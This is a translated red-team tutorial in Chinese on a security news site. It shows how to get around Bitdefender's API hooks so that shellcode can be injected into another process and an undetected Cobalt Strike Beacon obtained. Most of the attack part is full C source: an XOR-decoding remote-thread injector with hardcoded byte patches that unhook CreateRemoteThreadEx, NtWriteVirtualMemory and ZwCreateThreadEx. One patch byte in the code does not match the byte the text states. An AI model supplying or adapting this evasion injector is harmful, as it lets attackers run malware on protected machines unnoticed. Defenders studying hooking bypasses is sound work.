利用API unhooking完成进程注入,成功绕过Bitdefender检测 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

利用API unhooking完成进程注入,成功绕过Bitdefender检测

fanyeee 技术 2020-10-24 09:20:00
709254
收藏

导语:在这篇文章中,我们将为读者详细介绍如何利用API unhooking完成进程注入,从而绕过Bitdefender的安全检测。

绕过端点防护软件(如AV/EDR)是红队行动中的一项重要工作,但是在完成这项工作之前,我们可能需要一些时间来了解这些防护软件是如何工作的。而随着网上发布了大量关于这个主题的资源,了解这些产品的工作原理以及如何绕过它们也变得更加容易。在这篇文章中,我将向大家展示如何利用windows API unhooking技术来绕过BitDefender全功能安全套装的。在此过程中,我们将为读者介绍关于API unhooking的概念,以及如何利用这种技术来绕过安全防护软件。

我们的主要目标是,在启动了BitDefender全功能安全套装的机器上,通过进程注入以获得一个“活蹦乱跳”的Cobalt Strike Beacon。

什么是API Hooking?

API hooking是一种用于拦截和检查win32 API调用的方法,这种技术被AV/EDR用来监视win32 API调用,并判断这些调用是否合法。所以简单来说,AV/EDR会通过在一个由解决方案本身控制的自定义模块中添加一个JMP指令来改变普通API调用的执行流程,该模块会扫描API调用及其参数,并检查它们是否合法。

这篇由Spotless撰写的文章解释了API hooking的工作原理,感兴趣的读者可以通过它来了解该技术的详细信息。

尝试通过进程注入实现免杀

在之前的文章中,我介绍了如何先对shellcode进行编码,然后再在内存中进行解码,以实现免杀。下面,让我们再尝试一下这种技术,看看它针对BitDefender全功能安全套装是否有效。

像在上一篇文章中一样,用于对shellcode进行编码的代码并没有发生变化,具体如下所示:

#include
 
// This code was written for researching purpose, you have to edit it before using it in real-world
 
// This code will deocde your shellcode and write it directly to the memory
 
int main(int argc, char* argv[]) {
 
// Our Shellcode
 
unsigned char shellcode[] = "MyEncodedshellcode";
 
 
// Check arguments counter
if(argc != 2){
    printf("[+] Usage : decoder.exe [PID]\n");
    exit(0);
}
 
// The process id we want to inject our code to passed to the executable
// Use GetCurrentProcessId() to inject the shellcode into original process
int process_id = atoi(argv[1]);
 
 
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
 
// Retrive the process handle using OpenProcess
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
 
    if (process) {
        printf("[+] Handle retrieved successfully!\n");
        printf("[+] Handle value is %p\n", process);
        base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (base_address) {
            printf("[+] Allocated based address is 0x%x\n", base_address);
 
 
                // Data chars counter
                int i;
 
                // Base address counter
                int n = 0;
 
 
                for(i = 0; i<=sizeof(shellcode); i++){
 
                    // Decode shellcode opcode (you can edit it based on your encoder settings)
                    char DecodedOpCode = shellcode[i] ^ 0x01;
 
                    // Write the decoded bytes in memory address
                    if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
 
 
            // Write the memory address where the data was written
                        printf("[+] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address + n);
 
                        // Increase memory address by 1
                        n++;
                    }
 
                }
 
                // Run our code as RemoteThread
                CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, NULL, 0x50002);
 
 
        }
        else {
            printf("[+] Unable to allocate memory ..\n");
        }
    }
    else {
        printf("[-] Enable to retrieve process handle\n");
    }
 
}

当我编译文件并运行它来注入explorer.exe的shellcode后,我得到了以下结果:

1.png

BitDefender检测到该文件的执行情况并进行了拦截

我们可以看到,上述代码执行时被BitDefender检测到并被拦截,同时,“injector.exe”也被删除了。

那么,到底发生了什么,为什么上述代码在执行时会被拦截呢?

检测hooking

在重新编译可执行文件后,我开始进行调试,看看有没有外部DLL被注入到可执行文件中,结果如下所示:

1.png

注入的定制模块

我的可执行文件中加载了一个名为atcuf64.dll的文件,并且这个文件与BitDefender有关!

于是,我开始调试在shellcode注入过程中调用的主要win32API,当然,我从最可疑的 "CreateRemoteThread "开始调试的,反汇编结果如下所示:

1.png

CreateRemoteThread的反汇编代码

这里没有什么可疑的地方,但是,从执行流程中我们可以看到,我们将使用CreateRemoteThreadEx API,所以,我对其进行反汇编,结果如下所示:

1.png

被Hooked的CreateRemoteThread

这看起来很不寻常!我们在API的开头部分有一个JMP指令,如果我们跟踪执行流程,则会看到下列情况:

1.png

重定向到BitDefender模块

我们可以看到,在执行完JMP后,我们将到达actuf64.dll,这意味着这个函数上有一个hook,可以将执行流程重定向到BitDefender的模块中检查相关调用。

所以,当我们试图对CreateRemoteThread进行调用时,当它到达CreateRemoteThreadEx时,调用会被重定向到BitDefender的模块,为了避免对其进行检查,我们需要将函数CreateRemoteThreadEx返回到原来的状态,这就是unhooking的概念。

而基于此,我们的CreateRemoteThread API调用将不会继续按照预定的执行流程进行,也就是不会到达ZwCreateThreadEx API,而这个API是CreateRemoteThreadEx依赖的底层API。

关于这个问题,我们后面会详细介绍,现在只要记住这一点就可以了。

API Unhooking

同样,API Unhooking是这样一种技术,它们能够让被AV/EDR动过手脚的API返回原始状态,这里所说的“手脚”指的是添加到API中的JMP,该JMP用于将其钩住,以改变原来的执行流程。

我们如何将它恢复到原来的状态呢?我们可以通过以下方式来实现:

· 对于被做过手脚的函数,从原始函数中读取原始字节。为了实现该任务,只需通过调试器直接从DLL反汇编出该函数即可。

· 用原始字节覆盖被动过手脚的字节。该任务可以通过简单的内存补丁来实现:只需将数据写入特定的地址即可。

为了得到CreateRemoteThreadEx API的原始字节,我们可以打开一个新的调试器窗口,并加载kernelbase.dll,因为我们的CreateRemoteThreadEx函数就在那里。

然后,我们可以在命令窗口中键入“disasm CreateRemoteThreadEx”:

1.png

disasm命令

1.png

CreateRemoteThreadEx的原始字节

另一种从“x64dbg”中获取原始字节的方法是将调试器附加到kernelbase.dll后,打开符号选项卡,最后在搜索栏中搜索CreateRemoteThreadEx函数,双击得到如下内容:

1.png

搜索CreateRemoteThreadEx

1.png

CreateRemoteThreadEx原始字节(与其他方法得到的结果相同)

我们可以看到,我们通过反汇编API得到了原始字节,从原始字节中我们可以看到,它有5个字节“4C 8B DC 53 56”被JMP指令所代替,所以,为了解除该函数的钩子,并恢复到原来的状态,我们需要在kernelbase.dll被加载到我们的二进制代码后,覆盖这些字节。

我们可以使用下面的代码来实现该操作:

// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)
 
HANDLE kernalbase_handle = GetModuleHandle("kernelbase");
 
LPVOID CRT_address = GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");
 
printf("[+] CreateRemoteThreadEx address is : %p\n", CRT_address);
 
 
if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){
    
    printf("[+] CreateRemoteThreadEx unhooking done!\n");
}

上面的代码将使用GetModuleHandle函数获取kernelbase.dll模块的句柄,然后使用GetProcAddress获取函数CreateRemoteThreadEx的地址,然后打印CreateRemoteThreadEx的地址,最后写入由字节“\x4C\x8B\xDC\x53\x56”组成的原始字节。

之后,我们将CreateRemoteThreadEx的地址打印出来,最后,我们将原始字节“\x4C\x8B\xDC\x53\x56”写到函数的开头部分,并利用WriteProcessMemory将其恢复到原来的状态。

当然,我们是把CetCurrentProcess()作为进程句柄传递给WriteProcessMemory的。

所以,我们的代码将变成:

#include
 
 
// This code was written for researching purpose, you have to edit it before using it in real-world
 
// This code will deocde your shellcode and write it directly to the memory using WIN32APIs
 
// This code will unhook a couple of WIN32 APIs that was hooked by Bit defender total security
 
 
 
int main(int argc, char* argv[]) {
    
    
 
// Our Shellcode
 
unsigned char shellcode[] = "";
 
// Check arguments counter
 
if(argc != 2){
    printf("[+] Usage : injector.exe [PID]\n");
    exit(0);
}
 
// The process id we want to inject our code to passed to the executable
// Use GetCurrentProcessId() to inject the shellcode into original process
int process_id = atoi(argv[1]);
 
 
 
// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)
 
HANDLE kernalbase_handle = GetModuleHandle("kernelbase");
 
LPVOID CRT_address = GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");
 
printf("[+] CreateRemoteThreadEx address is : %p\n", CRT_address);
 
 
if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){
    
    printf("[+] CreateRemoteThreadEx unhooking done!\n");
}
 
 
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
 
// Retrive the process handle using OpenProcess
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
 
    if (process) {
        printf("[+] Handle retrieved successfully!\n");
        printf("[+] Handle value is %p\n", process);
        base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (base_address) {
            printf("[+] Allocated based address is 0x%x\n", base_address);
 
 
                // Data chars counter
                int i;
 
                // Base address counter
                int n = 0;
 
 
                for(i = 0; i<=sizeof(shellcode); i++){
 
                    // Decode shellcode opcode (you can edit it based on your encoder settings)
                    char DecodedOpCode = shellcode[i] ^ 0x01;
 
                    // Write the decoded bytes in memory address
                    
                    if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
 
 
            // Write the memory address where the data was written
                        printf("[+] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address + n);
 
                        // Increase memory address by 1
                        n++;
                    }
 
                }
 
                // Run our code as RemoteThread
            CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x1337);
 
 
 
        }
        else {
            printf("[+] Unable to allocate memory ..\n");
        }
    }
    else {
        printf("[-] Enable to retrieve process h2andle\n");
    }
 
}

重新编译后,我又把它附加到调试器上,并在OpenPrcoess函数中设置了一个断点,以确保我们能到达补丁代码中如下所示的“解钩部分”: 1.png

正如我们所看到的,打补丁过程没有任何问题,我们打印了CreateRemoteThreadEx函数的地址,这与之前是一样的。

那么,我们把那个地址进行反汇编,从而得到CreateRemoteThreadEx的地址,具体如下所示:

1.png

打过补丁的CreateRemoteThreadEx

太好了!我们可以看到,我们恢复了我们的API的原始字节(即完成了脱钩操作),这样执行流程将恢复正常。

现在如果我们运行软件应该就可以了吧?

不幸的是,答案是否定的!因为当我执行程序时,它又被检测到了,这次甚至在执行CreateRemoteThread函数之前就被检测到了,这意味着,在我们编辑代码后,仍有另一个API被捕获了。

经过对代码的深入挖掘,以及回顾了我所做的修改后,我注意到我们使用了“WriteProcessMemory”调用来写入我们shellcode中的每一个字节,并对内存进行了修补,这引起了BitDefender的怀疑。

于是我试着通过反汇编WriteProcessMemory,看看它是否被钩住了,结果如下所示:

1.png

没有任何可疑之处,所以,下面让我们跟踪执行流程,看看这个普通的JMP跳转到kernelbase后到底发生了什么。

1.png

调用NtWriteVirutalMemory

所以,我们可以看到,我们到达了一个位置,该位置发生了对NtWriteVirtualMemory的调用,当然,这个调用是“WriteProcessMemory”使用的底层函数,让我们跟踪该调用,看看到底啥情况:

1.png

NtWriteVirualMemory被钩住了

原来是函数NtWriteVirtualMemory被钩住了!而且由于某种原因,一旦我们修补了内存,并用它来写入shellcode时,它就被检测到了;不过请注意,当我第一次执行可执行文件时,它成功地到达了CreateRemoteThread!

也就是说,一旦我们添加了补丁函数,这个调用就变得可疑了。

所以,为了绕过这个问题,我们需要给NtWriteVirtualMemory打补丁,让我们像使用CreateRemoteThreadEx函数一样来获取它的原始字节。

而要做到这一点,我们可使用调试器打开ntdll.dll,并反汇编NtWriteVirtualMemory函数,从而得到以下字节:

1.png

NtWriteVirualMemory的原始字节

如上所示,我们得到了NtWriteVirualMemory的原始字节,而这些字节将被Bitdefender模块的JMP所替换。

JMP替换的几个字节为“4C 8B D1 B8 3C”,所以,要想解除这个函数上的钩子,我们需要把JMP替换成原来的那5个字节;为此,我们将重新使用之前的代码,具体如下所示:

// Patch 2 to unhook NtWriteVirtualMemory (ntdll.dll)
// Unhooked it because it gets detected while calling it multiple times
 
HANDLE ntdll_handle = GetModuleHandle("ntdll");
 
LPVOID NtWriteVirtualMemory_Address = GetProcAddress(ntdll_handle, "NtWriteVirtualMemory");
 
printf("[+] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);
 
 
 
if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5 , NULL)){
    
    printf("[+] NtWriteVirtualMemory unkooking done!\n");
}

我们还是使用GetModuleHandle来获取ntdll库,并使用GetProcAddress来获取NtWriteVirtualMemory函数的地址。

最后,我们把原来的字节写到NtWriteVirtualMemory函数的开头部分,它将用原来的5个字节替换JMP指令。

所以,injector的代码将变成:

#include
 
 
// This code was written for researching purpose, you have to edit it before using it in real-world
 
// This code will deocde your shellcode and write it directly to the memory using WIN32APIs
 
// This code will unhook a couple of WIN32 APIs that was hooked by Bit defender total security
 
 
 
int main(int argc, char* argv[]) {
    
    
 
// Our Shellcode
 
unsigned char shellcode[] = "";
 
// Check arguments counter
 
if(argc != 2){
    printf("[+] Usage : injector.exe [PID]\n");
    exit(0);
}
 
// The process id we want to inject our code to passed to the executable
// Use GetCurrentProcessId() to inject the shellcode into original process
int process_id = atoi(argv[1]);
 
 
 
// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)
 
HANDLE kernalbase_handle = GetModuleHandle("kernelbase");
 
LPVOID CRT_address = GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");
 
printf("[+] CreateRemoteThreadEx address is : %p\n", CRT_address);
 
 
if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){
    
    printf("[+] CreateRemoteThreadEx unhooking done!\n");
}
 
// Patch 2 to unhook NtWriteVirtualMemory (ntdll.dll)
// Unhooked it because it gets detected while calling it multiple times
 
HANDLE ntdll_handle = GetModuleHandle("ntdll");
 
LPVOID NtWriteVirtualMemory_Address = GetProcAddress(ntdll_handle, "NtWriteVirtualMemory");
 
printf("[+] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);
 
 
 
if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5 , NULL)){
    
    printf("[+] NtWriteVirtualMemory unkooking done!\n");
}
 
 
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
 
// Retrive the process handle using OpenProcess
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
 
    if (process) {
        printf("[+] Handle retrieved successfully!\n");
        printf("[+] Handle value is %p\n", process);
        base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (base_address) {
            printf("[+] Allocated based address is 0x%x\n", base_address);
 
 
                // Data chars counter
                int i;
 
                // Base address counter
                int n = 0;
 
 
                for(i = 0; i<=sizeof(shellcode); i++){
 
                    // Decode shellcode opcode (you can edit it based on your encoder settings)
                    char DecodedOpCode = shellcode[i] ^ 0x01;
 
                    // Write the decoded bytes in memory address
                    
                    if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
 
 
            // Write the memory address where the data was written
                        printf("[+] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address + n);
 
                        // Increase memory address by 1
                        n++;
                    }
 
                }
 
                // Run our code as RemoteThread
            CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x1337);
 
 
 
        }
        else {
            printf("[+] Unable to allocate memory ..\n");
        }
    }
    else {
        printf("[-] Enable to retrieve process h2andle\n");
    }
 
}

让我们编译上述代码,并将其附加到我们的调试器中,然后在CreateRemoteThread中设置一个断点,看看这次能否达到这里;同时,我们将查看控制台,看看是否成功修补了这两个函数。

如果我们达到了CreateRemoteThread函数,说明我们成功修补了NtWriteVirtualMemory函数,并能够绕过对它的限制。

所以,在做完这些之后,我得到了以下结果: 

1.png

解除钩子后,成功到达CreateRemoteThread

很好!我们可以看到,在解除这两个函数的钩子后,我们到达了CreateRemoteThread,这意味着我们可以继续执行了。

还记得前面关于ZwCreateThreadEx的那句话吗:它是CreateRemoteThreadEx的底层函数。所以,让我们继续执行代码,直到我们到达该函数,以检查它是否被钩住。

1.png

ZwCreateThreadEx被钩住了

我们可以看到,函数ZwCreateThreadEx也被钩住了!这意味着如果我们继续运行的话,它将再次被重定向到BitDefender的模块,这正是我们需要避免的。

所以,我们仍然需要获取这个函数的原始字节,并用其被钩住的指令来解除这个函数的钩子,以实现“脱钩”。

于是,我再次使用调试器打开ntdll.dll,准备从ZwCreateThreadEx函数中读取原始指令:

1.png

选中ZwCreateThreadEx函数

点击该函数时,将得到以下代码:

1.png

ZwCreateThreadEx 原始字节

我们得到了ZwCreateThreadEx的原始字节“4C 8B D1 B8 C1”,所以同样的,现在要想解除这个函数的钩子,我们只需要在ntdll中的原始函数加载到我们的可执行文件中之后,使用这些字节覆盖相应指令即可。

请注意,所有的原始字节都与syscall本身有关,也就是说JMP指令总能通过阻止运行API而避免被钩住。

我们将使用这段代码来编写最后的补丁,该补丁将像下面这样来避免ZwCreateThreadEx函数被钩住:

#include
 
 
// This code was written for researching purpose, you have to edit it before using it in real-world
 
// This code will deocde your shellcode and write it directly to the memory using WIN32APIs
 
// This code will unhook a couple of WIN32 APIs that was hooked by Bit defender total security
 
 
 
int main(int argc, char* argv[]) {
    
    
 
// Our Shellcode
 
unsigned char shellcode[] = "";
 
// Check arguments counter
 
if(argc != 2){
    printf("[+] Usage : injector.exe [PID]\n");
    exit(0);
}
 
// The process id we want to inject our code to passed to the executable
// Use GetCurrentProcessId() to inject the shellcode into original process
int process_id = atoi(argv[1]);
 
 
 
// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)
 
HANDLE kernalbase_handle = GetModuleHandle("kernelbase");
 
LPVOID CRT_address = GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");
 
printf("[+] CreateRemoteThreadEx address is : %p\n", CRT_address);
 
 
if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){
    
    printf("[+] CreateRemoteThreadEx unhooking done!\n");
}
 
// Patch 2 to unhook NtWriteVirtualMemory (ntdll.dll)
// Unhooked it because it gets detected while calling it multiple times
 
HANDLE ntdll_handle = GetModuleHandle("ntdll");
 
LPVOID NtWriteVirtualMemory_Address = GetProcAddress(ntdll_handle, "NtWriteVirtualMemory");
 
printf("[+] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);
 
 
 
if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5 , NULL)){
    
    printf("[+] NtWriteVirtualMemory unkooking done!\n");
}
 
// Patch 3 to unhook ZwCreateThreadEx (ntdll.dll)
 
LPVOID ZWCreateThreadEx_address = GetProcAddress(ntdll_handle, "ZwCreateThreadEx");
 
printf("[+] ZwCreateThreadEx address is : %p\n", ZWCreateThreadEx_address);
 
 
if (WriteProcessMemory(GetCurrentProcess(), ZWCreateThreadEx_address, "\x4C\x8B\xD1\xB8\xC1", 5 , NULL)){
    
    printf("[+] ZwCreateThreadEx unhooking done!\n");
}
 
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
 
// Retrive the process handle using OpenProcess
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
 
    if (process) {
        printf("[+] Handle retrieved successfully!\n");
        printf("[+] Handle value is %p\n", process);
        base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (base_address) {
            printf("[+] Allocated based address is 0x%x\n", base_address);
 
 
                // Data chars counter
                int i;
 
                // Base address counter
                int n = 0;
 
 
                for(i = 0; i<=sizeof(shellcode); i++){
 
                    // Decode shellcode opcode (you can edit it based on your encoder settings)
                    char DecodedOpCode = shellcode[i] ^ 0x01;
 
                    // Write the decoded bytes in memory address
                    
                    if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
 
 
            // Write the memory address where the data was written
                        printf("[+] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address + n);
 
                        // Increase memory address by 1
                        n++;
                    }
 
                }
 
                // Run our code as RemoteThread
            CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x1337);
 
 
 
        }
        else {
            printf("[+] Unable to allocate memory ..\n");
        }
    }
    else {
        printf("[-] Enable to retrieve process h2andle\n");
    }
 
}

正如我们所看到的,这与前面的补丁代码几乎完全相同,这里只是改变了几个字节和函数名。

所以,让我们再次编译代码,并在CreateRemoteThread函数中设置一个断点来读取控制台并在那里停止,然后我们将反汇编ZwCreateThreadEx函数,以查看它是否解除了钩子:

1.png

所有的函数解除了钩子

我们可以看到,所有的函数都已经成功解除了钩子,并抵达了CreateRemoteThread函数。接下来,让我们反汇编ZwCreateThreadEx函数:

1.png

ZwCreateThreadEx已经解除了钩子

我们可以看到,该函数被成功解除了钩子,所以,我们应该可以顺利执行Injector了。

现在,我将关闭调试器,并像下面这样运行代码:

1.png

Injector已被执行

我们可以看到,它被顺利执行了,而且没有弹出任何警报!

然后,继续执行Cobalt Strike:

1.png

Cobalt Strike Beacon

看,Cobalt Strike Beacon并没有被检测到!

致谢

在这里,我要特别感谢spotless撰写了关于API hooking的优秀文章,当然,也包括其他主题方面的文章。我在这篇文章中的方法,基本上就是出自这些文章。

本文翻译自:https://shells.systems/defeat-bitdefender-total-security-using-windows-api-unhooking-to-perform-process-injection/如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务